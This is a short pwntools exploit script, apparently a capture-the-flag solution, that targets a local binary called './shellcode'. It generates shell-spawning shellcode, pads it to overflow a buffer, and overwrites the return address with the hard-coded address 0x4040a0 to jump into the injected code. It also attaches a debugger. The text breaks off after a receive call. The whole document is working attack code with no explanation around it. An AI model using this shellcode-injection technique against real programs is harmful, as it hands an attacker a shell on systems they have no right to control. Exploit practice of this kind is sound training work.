from pwn import * context(os='linux', arch='amd64', log_level='debug') shellcode = asm(shellcraft.sh()) io = process('./shellcode') gdb.attach(io, 'b *0x4012b7') name_addr = 0x4040a0 payload = shellcode + 'a'*(0x40-len(shellcode)) + p64(0x4040a0) io.recvline()…